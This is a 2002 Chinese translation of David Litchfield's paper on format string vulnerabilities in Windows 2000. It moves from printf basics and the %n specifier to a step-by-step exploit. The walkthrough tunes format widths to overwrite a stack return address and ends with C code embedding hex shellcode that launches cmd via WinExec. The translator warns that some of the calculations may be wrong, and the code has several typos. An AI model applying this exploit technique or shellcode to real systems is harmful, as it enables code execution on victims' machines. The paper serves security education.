Windows 2000 中的格式化字串攻擊
建立時間:2002-02-22
文章屬性:翻譯
文章提交:refdom (refdom_at_263.net)
翻譯:refdom
Email: refdom@263.net
Homepage: www.cnhonker.net
2002-2-22
原文名稱:《Windows 2000 Format String Vulnerabilities》
原文作者:David Litchfield
原文下載:http://www.nextgenss.com/papers/win32format.doc
即使只有一點C語言基礎的人也會printf()函數,實際上C語言教科書上通常的第一個程式就是“Hello, World!”,Kernighan and Ritchie在《The C Programming Language》中引發的慣例。
#include <stdio.h>
void main(void)
{
printf("/nHello,World!/n/n");
}
這並沒有完,在C語言中,當編譯並運行這個程式向螢幕列印“Hello, World!”並不是簡單的向螢幕輸出字串。和相關的程式fprintf(),vprintf() 以及 sprintf()等一樣,就想在print後面加上“f”,這些實際上是列印格式。格式化部分允許程式員控制顯示文本的樣式。可以通過代替特殊的格式字元來顯示值或資料,比如,要顯示整型的變數“dVal”的值,就可以使用下面的格式化字元:
printf(“The value is %d”,dVal);
列印的時候,%d就被dVal的值所代替。如果程式員想用十六進位顯示同樣值:
printf(“The value in decimal is %d and in hexadecimal is %x”,dVal,dVal);
這裡%d表示十進位的dVal值,%x表示十六進位的dVal的值。下面是集中特殊的格式化字元:
%c 單字元格式設定
%d 十進位整型 (pre ANSI)
%e,%E 指數形式的 float or double
%f 十進位 float or double
%I 整型 (like %d)
%o 八進位整型
%p 地址指標
%s 字串
%x,%X 十六進位整型
當然,功能不僅限於怎麼控制顯示的資料類型,而且也能控制顯示的寬度和隊列等。
一個格式字元%n沒有列在上面,因為有特殊用途,但是它存在的格式化字元安全問題也非常嚴重。%n用於把前面列印的字元數記錄到一個變數中。也用於統計格式化的位元組數,這當然需要一個空間來儲存這個數字,因此程式需要為此分配記憶體,例如下面的代碼:
1. #include <stdio.h>
2. int main()
3. {
4. int bytes_formatted=0;
5. char buffer[28]=”ABCDEFGHIJKLMNOPQRSTUVWXYZ”;
6. printf(“%.20x%n”,buffer,&bytes_formatted);
7. printf(“/nThe number of bytes formatted in the previous printf statement was %d/n”,bytes_formatted);
8. return 0;
9. }
編譯後輸出顯示為:
0000000000000012ff64
The number of bytes formatted in the previous printf statement was 20
我們在第四行申明了一個int類型的變數bytes_formatted,在第六行,格式化字元表示20個字元應該按十六進位 (“%.20x”) 進行格式化,%n則把值20寫到bytes_formatted變數中。這意味著我們寫了一個值到另外的記憶體空間中。現在我們不討論編譯者寫數值或者寫地址的影響,而討論那種通過通過某種方式在操作這些值的時候造成了缺陷(溢出),如果這樣成功的話,可能獲得超過程式的執行控制。
在程式員試圖傳遞一個字串到一個使用格式化字元的格式函數中,就可能發生溢出情況。參考下面的程式。
#include <stdio.h>
void main(int argc, char *argv[])
{
int count = 1;
while(argc > 1)
{
printf(argv[count]);
printf(“ “);
count ++;
argc --;
}
}
編譯後運行和顯示如下:
Prompt: myecho hello
hello
Prompt: myecho this is some text
this is some text
So it justs spits back what we feed in – or does it? Try:
Prompt: myecho %x%x
112ffc0
注意到myecho %x%x,並沒有按照原本的意思列印出來,卻顯示的十六進位數?原因正是因為這些屬于格式化字元,它們被傳遞給printf()函數卻沒有用函數來解釋這些字元,被認為是格式化字元。安全的寫法應該是
printf(“%s”,argv[count]);
而不是:
printf(argv[count]);
一個攻擊者能夠怎麼利用呢?使用 “%n”格式化字元,能寫任意值到他們選定的記憶體中!如果實現了,就能夠控製程序的執行。例如,在Intel上,能就可以重寫堆棧中的地址,並指向他們的攻擊代碼,這可以執行任意目的的程式。這種格式化字元漏洞利用起來需要考慮使用函數、作業系統和處理器類型。
Windows 2000 / Intel 下的格式化字元漏洞問題
考慮下面有漏洞的代碼:
#include <stdio.h>
int main(int argc, char *argv[])
{
char buffer[512]="";
strncpy(buffer,argv[1],500);
printf(buffer);
return 0;
}
這個程式拷貝第一個參數到一個緩衝區,然後簡單地把緩衝區傳遞給 printf, 有問題的代碼是這一行:
printf(buffer);
因為我們可以提供一個格式化字元作為第一個參數,而被傳遞給 printf() ,假設這個程式編譯後叫 printf.exe。
我們現在需要作的就是試圖用我們提供的地址來重寫堆棧中函數的返回地址,我們提供的地址可以指向攻擊代碼(shell code)。要達到這樣的目的,我們需要得到格式化列印的確切位元組數,用來匹配我們需要用的地址。例如,如果我們的攻擊代碼在地址0x0012FF40處,那麼,我們就要讓 printf 運算式格式0x0012FF40個位元組,我們的格式化字串就可以是:
c:/>printf %.622496x%.622496x%n
這就讓1244992位元組被printf運算式格式化列印,這個數位十六進位就是0x0012FF40。但是目前並不完善,我們需要把exploit代碼也放進去,這需要佔據位元組數。因此,我們要產生shell ,在windows 2000中這至多需要 40位元組的 exploit code ,因此,需要修改我們的格式化字串放入我們的代碼就需要從622496中減去40。就變成:
c:/>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%.622496x%.622456x%n
在這個例子中,我們只是簡單地用字元“A”替代我們的攻擊代碼。現在可以運行它但是可能發生非法存取問題,因為程式試圖寫的地址0x41414141可能沒有初始化。當這個問題出現的時候偵錯工具,正如看到的,不愉快的一行是:
mov dword ptr [eax],ecx
它試圖移動(mov)ecx (etc是0x0012FF40,也就是是我們需要找到的地址)到 eax (現在是0x41414141)地址中,由於0x41414141這個地區還沒有初始化,所以就會出現存取錯誤。同時,我們調試並找到攻擊代碼字串(我們剛才只是假設它們的地址是0x0012FF40),但是它們卻並不在0x0012FF40存在,而是在地址0x0012FD80中。相差並不遠,但是,要利用起來是需要非常精確的。因此,需要再次修改那些格式字串。在這之前,我們是通過找一個合適的目標(需要重寫的返回地址)來進行的。我們發現了一個相似的目標,地址0x0012FD54,它儲存的地址是0x00401077,因此,我們可以類似這樣來進行。現在接著要達到的目的就是要重寫EI為P地址0x0012FD80,這個地址就是攻擊代碼的地址。如果達到這個目的,把這個返回地址推送到堆棧中,進程就會開始執行我們的攻擊代碼了。怎樣才能重寫地址0x0012FD54,而剛才我們做的事情卻一直是在試圖重寫地址0x41414141?好,這是一個線索。%n格式化字元把指向字串中某處的指標標誌到字串的結尾處。我們要做的就是把%n從我們格式化字串中的某個位置變化到字串結尾處,要達到這個目的就需要使用添加更多的%x來完成,我們用BBBB來標記我們的字串結尾。
c:/>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB
這是,程式試圖寫的地址是0x78257825,我們轉換成十進位數發現0x78隻是小寫“x”,0x25是“%”,所以看出來現在寫的位置還是"%x%x%x%x"中的某個地方,這樣,我們就繼續試探,增加更多的%x:
c:/>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB
這次正好到了,現在要試圖寫的地址就是0x42424242(也就是BBBB),我們把BBBB代替成攻擊代碼的返回位置0x0012FD54。但是,我們只是在這裡可以用ASCII很簡單地寫0x12 或者 0xFD,所以需要寫另外的一個程式來幫我們把這些值寫進去。剛才我們用%x一直達到能夠重寫我們需要的地址0x0012FD80,而現在這個值變成了0x00130019(refdom註:因為多了很多%x,所以讓%n的大小也增加了),我們需要少寫665位元組內容,把剛才的622456改變成621791,我們的程式就是:
#include <stdio.h>
int main()
{
char buffer[500]="printf
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%.622496x%.621791x%n/x54/xFD/x12";
system(buffer);
return 0;
}
編譯運行後又有了一個新的非法存取問題:在0x0012FF90處的指令引用了0x00000030處的儲存空間。注意,在0x0012FF90處的指令(這是一個堆棧地址),並且顯然,我們的進程正試圖執行堆棧中的代碼,我們的格式化字串exploit起作用了!我們已經成功地用我們的地址修正了返回地址,並將程式引到那裡去了。現在,我們需要把exploit代碼放進去,剛才我們只是用AAA來代替了。我們先做一個確定,替代前面的四個A成為一個檢查點:
#include <stdio.h>
int main()
{
char buffer[500]="printf ";
charbuffer2[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%.622496x%.621791x%n/x54/xFD/x12";
strcat(buffer,"/xCC/xCC/xCC/xCC");
strcat(buffer,buffer2);
system(buffer);
return 0;
}
(註:代碼中charbuffer2中比前面的少了四個A,用後面的/xCC/xCC/xCC/xCC代替了)
當運行到這個檢查點的時候,我們又回到了代碼。現在能夠確認我們已經能夠獲得並控製程序的執行,接著放入我們的exploit代碼。假設我們的shell代碼是下面的:
push ebp // Procedure Prologue - often not needed
mov ebp,esp // Procedure Prologue - often not needed
xor edi,edi // Get some NULLs
push edi // Push them onto the stack
mov byte ptr [ebp-04h],63h // Write 'c' of cmd
mov byte ptr [ebp-03h],6Dh // Write 'm' of cmd
mov byte ptr [ebp-02h],64h // Write 'd' of cmd
push edi // Push NULLs again (2nd Param for WinExec())
mov byte ptr [ebp-08h],03h // Turn it into SW_MAXIMIZE
lea eax,[ebp-04h] // Load address of cmd into EAX
push eax // Push it onto stack (1st Param for WinExec())
mov eax, 0x77E9B50E // Move address of WinExec() into EAX
call eax //<---- Call it
這樣,我們的程式就成為:
#include <stdio.h>
int main()
{
char buffer[500]="printf ";
char exploit_code[]=","/x55/x8B/xEC/x33/xFF/x57/xC6/x45/xFC/x63/xC6
/x45/xFD/x6D/xC6/x45/xFE/x64/x57/xC6/x45/xF8/x01/x8D/x45/xFC/x50/xB8/x0E/xB5/xE9/x77/xFF/xD0/xCC";
char buffer2[]="AAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%.622496x%.621791x%n /x54/xFD/x12";
strcat(buffer,exploit_code);
strcat(buffer,buffer2);
system(buffer);
return 0;
}
編譯後運行了新的shell。
這是在WIN2000中利用格式化字元漏洞的一種簡單方法。整個思路就是:我們格式化一個跟exploit代碼地址位置這麼大小的字串,並用這個值重寫了堆棧中程式的返回地址,這樣,當子程式運行返回後不是返回本來的地址,相反,而是接著我們替代的地址繼續執行程式了。
利用printf類函數並不一定跟這個例子一樣。例如:如果在用vsprintf函數的有問題代碼(在Van Dyke Technologies’ SSH Server for Windows, Vshell,發現過),攻擊者並不能象printf()這樣選擇記憶體位置,它被限制在參數列表及其以後的一個位址區段中,而象VShell,第十三個參數是一個儲存這一個函數指標的地址,因此可以用攻擊者的函數指標重寫這個地址來利用,更多的關於這個問題的資訊可以參考:
http://www.atstake.com/research/advisories/2001/a021601-1.txt
註:A note on Windows NT 4.0
在NT4.0上利用格式化字元問題不同於WIN2000,這是因為NT對於printf()類函數有一個516字元的限制:
printf(“%.516x”,foo);這個是可行的,但是:
printf(“%.517x”,foo);就會有核心溢出問題。
所以問題就出在要利用這個格式化漏洞,我們就時常需要寫一個非常大的值。我們寫這個值的時候需要和最大寬度相關了:
printf(“%.500x%n”,foo,bar); 會寫數字500(0x1F4) 到bar的地址,現在,假設需要用我們的exploit代碼的地址(可以在堆棧中找到)來重寫堆棧中的返回地址,在NT平台下,這個堆棧通常在0x0012ffff周圍,那麼為了象上面的例子那樣,我們就必須寫“%.500x”大約 2500次!!這要求15,000位元組的空間。在NT上,並不象WIN2000中這麼直接了。
(refdom備忘:關於原文中的例子,不知道是我理解上的錯誤還是原文的錯誤,一些數字大小計算上有差錯)